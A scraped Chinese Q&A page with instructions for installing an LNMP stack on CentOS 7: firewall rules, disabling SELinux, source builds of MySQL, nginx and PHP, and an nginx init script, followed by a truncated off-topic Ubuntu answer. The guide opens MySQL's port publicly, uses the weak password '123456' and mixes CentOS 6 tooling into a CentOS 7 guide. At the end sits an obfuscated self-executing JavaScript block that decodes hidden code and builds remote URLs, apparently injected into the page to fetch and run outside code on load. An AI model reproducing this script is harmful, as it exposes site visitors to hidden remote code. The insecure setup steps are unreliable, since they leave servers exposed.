CentOS 7 用户怎样安装 LNMP

2025-04-07 02:56:01
推荐回答(2个)
回答1:

  1. 配置好IP、DNS 、网关,确保使用远程连接工具能够连接服务器

  2. 配置防火墙,开启80端口、3306端口

  3. vi /etc/sysconfig/iptables   #编辑防火墙配置文件    

  4. -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT(允许80端口通过防火墙)    

  5. -A INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT(允许3306端口通过防火墙)    

  6. 特别提示:很多网友把这两条规则添加到防火墙配置的最后一行,导致防火墙启动失败。

  7. 正确的应该是添加到默认的22端口这条规则的下面,添加好之后防火墙规则如下所示:

#########################################################    

# Firewall configuration written by system-config-firewall    

# Manual customization of this file is not recommended.    

*filter    

:INPUT ACCEPT [0:0]    

:FORWARD ACCEPT [0:0]    

:OUTPUT ACCEPT [0:0]    

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT    

-A INPUT -p icmp -j ACCEPT    

-A INPUT -i lo -j ACCEPT    

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT    

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT    

-A INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT    

-A INPUT -j REJECT --reject-with icmp-host-prohibited    

-A FORWARD -j REJECT --reject-with icmp-host-prohibited    

COMMIT    

#########################################################    

/etc/init.d/iptables restart  #最后重启防火墙使配置生效    

关闭SELINUX

vi /etc/selinux/config  #编辑

#SELINUX=enforcing       #注释掉 

#SELINUXTYPE=targeted    #注释掉 

SELINUX=disabled         #增加 

:wq #保存退出

shutdown -r now   #重启系统

系统约定

软件源代码包存放位置:/usr/local/src

源码包编译安装位置:/usr/local/软件名字

下载软件包

1.下载nginx

 http://nginx.org/download/nginx-1.2.0.tar.gz

2、下载pcre  (支持nginx伪静态)

ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.30.tar.gz

3、下载MySQL(目前稳定版)

http://mysql.mirror.kangaroot.net/Downloads/MySQL-5.5/mysql-5.5.25.tar.gz

由于版本更新可能以前版本已不存在,可http://mysql.mirror.kangaroot.net/Downloads下载相应版本。

4、下载php

http://www.php.net/releases/

5、下载cmake(MySQL编译工具)

http://www.cmake.org/files/v2.8/cmake-2.8.8.tar.gz

6、下载libmcrypt(PHPlibmcrypt模块)

ftp://mcrypt.hellug.gr/pub/crypto/mcrypt/libmcrypt/libmcrypt-2.5.7.tar.gz

安装编译工具及库文件(使用CentOS yum命令安装)

yum install make apr* autoconf automake curl-devel gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel gd  kernel keyutils  patch  perl kernel-headers compat* mpfr cpp glibc libgomp libstdc++-devel ppl cloog-ppl keyutils-libs-devel libcom_err-devel libsepol-devel libselinux-devel krb5-devel zlib-devel libXpm* freetype libjpeg* libpng* php-common php-gd ncurses* libtool* libxml2 libxml2-devel patch freetype-devel

安装篇

安装cmake

cd /usr/local/src 

tar zxvf cmake-2.8.8.tar.gz 

cd cmake-2.8.8 

./configure make           #编译 

make install   #安装

安装MySQL

groupadd mysql  #添加mysql组    

useradd -g mysql mysql -s /bin/false  #创建用户mysql并加入到mysql组,不允许mysql用户直接登录系统    

mkdir -p /data/mysql  #创建MySQL数据库存放目录    

chown -R mysql:mysql /data/mysql   #设置MySQL数据库目录权限    

mkdir -p /usr/local/mysql #创建MySQL安装目录    

cd /usr/local/src    

tar zxvf mysql-5.5.25.tar.gz  #解压    

cd mysql-5.5.25    

cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql  -DMYSQL_DATADIR=/data/mysql  -DSYSCONFDIR=/etc   #配置    

make #编译    

make install  #安装    

cd /usr/local/mysql    

cp ./support-files/my-huge.cnf  /etc/my.cnf   #拷贝配置文件(注意:如果/etc目录下面默认有一个my.cnf,直接覆盖即可)    

vi /etc/my.cnf   #编辑配置文件,在 [mysqld] 部分增加下面一行    

datadir = /data/mysql  #添加MySQL数据库路径    

:wq!  #保存退出    

./scripts/mysql_install_db --user=mysql  #生成mysql系统数据库    

cp ./support-files/mysql.server  /etc/rc.d/init.d/mysqld  #把Mysql加入系统启动    

chmod 755 /etc/init.d/mysqld   #增加执行权限    

chkconfig mysqld on  #设置开机启动    

vi /etc/rc.d/init.d/mysqld  #编辑    

basedir = /usr/local/mysql   #MySQL程序安装路径    

datadir = /data/mysql  #MySQl数据库存放目录    

service mysqld start  #启动    

vi /etc/profile   #把mysql服务加入系统环境变量:在最后添加下面这一行    

export PATH=$PATH:/usr/local/mysql/bin    

:wq! #保存退出    

下面这两行把myslq的库文件链接到系统默认的位置,在编译类似PHP等软件时可以不用指定mysql的库文件地址。    

  1. ln -s /usr/local/mysql/lib/mysql /usr/lib/mysql    

  2. ln -s /usr/local/mysql/include/mysql /usr/include/mysql    

  3. shutdown -r now     #需要重启系统,等待系统重新启动之后继续在终端命令行下面操作 

  4. mysql_secure_installation    #设置Mysql密码    

  5. 根据提示按Y 回车(默认密码为空)    

  6. 然后输入2次密码    

  7. 继续按Y 回车,直到设置完成    

  8. 或者直接修改密码/usr/local/mysql/bin/mysqladmin -u root -p password "123456" #修改密码    

  9. service mysqld restart  #重启    

  10. 到此,mysql安装完成

安装pcre

cd /usr/local/src    

mkdir /usr/local/pcre  #创建安装目录    

tar  zxvf pcre-8.30.tar.gz    

cd pcre-8.30    

./configure  --prefix=/usr/local/pcre  #配置    

make    

make install    

安装 nginx

cd /usr/local/src    

groupadd  www  #添加www组    

useradd -g  www www -s /bin/false  #创建nginx运行账户www并加入到www组,不允许www用户直接登录系统    

tar  zxvf nginx-1.2.0.tar.gz    

cd nginx-1.2.0    

./configure --prefix=/usr/local/nginx --without-http_memcached_module --user=www --group=www --with-http_stub_status_module --with-openssl=/usr/ --with-pcre=/usr/local/src/pcre-8.30    

#注意:--with-pcre=/usr/local/src/pcre-8.30指向的是源码包解压的路径,而不是安装的路径,否则会报错    

make    

make install    

/usr/local/nginx/sbin/nginx   #启动nginx    

vi /etc/rc.d/init.d/nginx    #设置nginx开启启动,编辑启动文件添加下面内容    

#################################################################    

#!/bin/bash    

# nginx Startup script for the Nginx HTTP Server    

# it is v.0.0.2 version.    

# chkconfig: - 85 15    

# description: Nginx is a high-performance web and proxy server.    

#              It has a lot of features, but it's not for everyone.    

# processname: nginx    

# pidfile: /var/run/nginx.pid    

# config: /usr/local/nginx/conf/nginx.conf    

nginxd=/usr/local/nginx/sbin/nginx    

nginx_config=/usr/local/nginx/conf/nginx.conf    

nginx_pid=/usr/local/nginx/logs/nginx.pid    

RETVAL=0    

prog="nginx"    

# Source function library.    

.  /etc/rc.d/init.d/functions    

# Source networking configuration.    

.  /etc/sysconfig/network    

# Check that networking is up.    

[ ${NETWORKING} = "no" ] && exit 0    

[ -x $nginxd ] || exit 0    

# Start nginx daemons functions.    

start() {    

if [ -e $nginx_pid ];then    

  echo "nginx already running...."    

  exit 1    

fi    

  echo -n $"Starting $prog: "    

  daemon $nginxd -c ${nginx_config}    

  RETVAL=$?    

  echo    

  [ $RETVAL = 0 ] && touch /var/lock/subsys/nginx    

  return $RETVAL    

}    

# Stop nginx daemons functions.    

stop() {    

       echo -n $"Stopping $prog: "    

       killproc $nginxd    

       RETVAL=$?    

       echo    

       [ $RETVAL = 0 ] && rm -f /var/lock/subsys/nginx /usr/local/nginx/logs/nginx.pid    

}    

reload() {    

   echo -n $"Reloading $prog: "    

   #kill -HUP `cat ${nginx_pid}`    

   killproc $nginxd -HUP    

   RETVAL=$?    

   echo    

}    

# See how we were called.    

case "$1" in    

start)    

       start    

       ;;    

stop)    

       stop    

       ;;    

reload)    

       reload    

       ;;    

restart)    

       stop    

       start    

       ;;    

               

status)    

       status $prog    

       RETVAL=$?    

       ;;    

*)    

       echo $"Usage: $prog {start|stop|restart|reload|status|help}"    

       exit 1    

esac    

exit $RETVAL    

#################################################################    

:wq!  #保存退出    

chmod 775  /etc/rc.d/init.d/nginx  #赋予文件执行权限    

chkconfig nginx on    #设置开机启动    

/etc/rc.d/init.d/nginx restart   #重启    

安装libmcrypt

cd /usr/local/src    

tar zxvf  libmcrypt-2.5.7.tar.gz   #解压    

cd  libmcrypt-2.5.7 #进入目录    

./configure    #配置    

make             #编译    

make install   #安装    

安装php

cd /usr/local/src    

tar -zvxf php-5.3.13.tar.gz    

cd  php-5.3.13    

mkdir -p /usr/local/php5  #建立php安装目录    

./configure --prefix=/usr/local/php5 --with-config-file-path=/usr/local/php5/etc --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-mysql-sock=/tmp/mysql.sock --with-gd --with-iconv  --with-zlib  --enable-xml --enable-magic-quotes --enable-safe-mode --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --with-curlwrappers --enable-mbregex  --enable-fpm --enable-mbstring --enable-ftp --enable-gd-native-ttf --with-openssl --enable-pcntl --enable-sockets --with-xmlrpc --enable-zip --enable-soap --without-pear --with-gettext --enable-session --with-mcrypt --with-curl --with-jpeg-dir --with-freetype-dir #配置    

make   #编译    

make install    #安装    

cp  php.ini-production   /usr/local/php5/etc/php.ini  #复制php配置文件到安装目录  

rm -rf /etc/php.ini   #删除系统自带配置文件    

ln -s /usr/local/php5/etc/php.ini  /etc/php.ini    #添加软链接    

cp  /usr/local/php5/etc/php-fpm.conf.default   /usr/local/php5/etc/php-fpm.conf      #拷贝模板文件为php-fpm配置文件    

vi  /usr/local/php5/etc/php-fpm.conf  #编辑    

user = www    #设置php-fpm运行账号为www    

group = www   #设置php-fpm运行组为www    

pid = run/php-fpm.pid    #取消前面的分号    

cp /usr/local/src/php-5.3.13/sapi/fpm/init.d.php-fpm   /etc/rc.d/init.d/php-fpm  #设置 php-fpm开机启动,拷贝php-fpm到启动目录    

chmod +x /etc/rc.d/init.d/php-fpm  #添加执行权限    

chkconfig php-fpm on    #设置开机启动    

vi /usr/local/php5/etc/php.ini    #编辑配置文件    

注意:取消FastCGI server部分location的注释,并要注意fastcgi_param行的参数,改为/data/webroot/(此为网站根目录绝对路径)$fastcgi_script_name

/etc/init.d/nginx restart  #重启nginx

测试篇

访问http://ip地址    出现欢迎使用nginx,说明配置成功。默认web目录 /usr/local/nginx/html/可以自己写程序测试PHP是否可用。

回答2:

答:安装之前可以更新下ubuntu软件源,要确保Linux处于联网状态 sudo vi /etc/apt/sources.list 输入提供软件的地址(里面有默认的地址可以用,不可以的话网上到处都是这里就不贴出来了)保存退出 sudo apt-get update 可能会出现更新不了,这是看一...

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();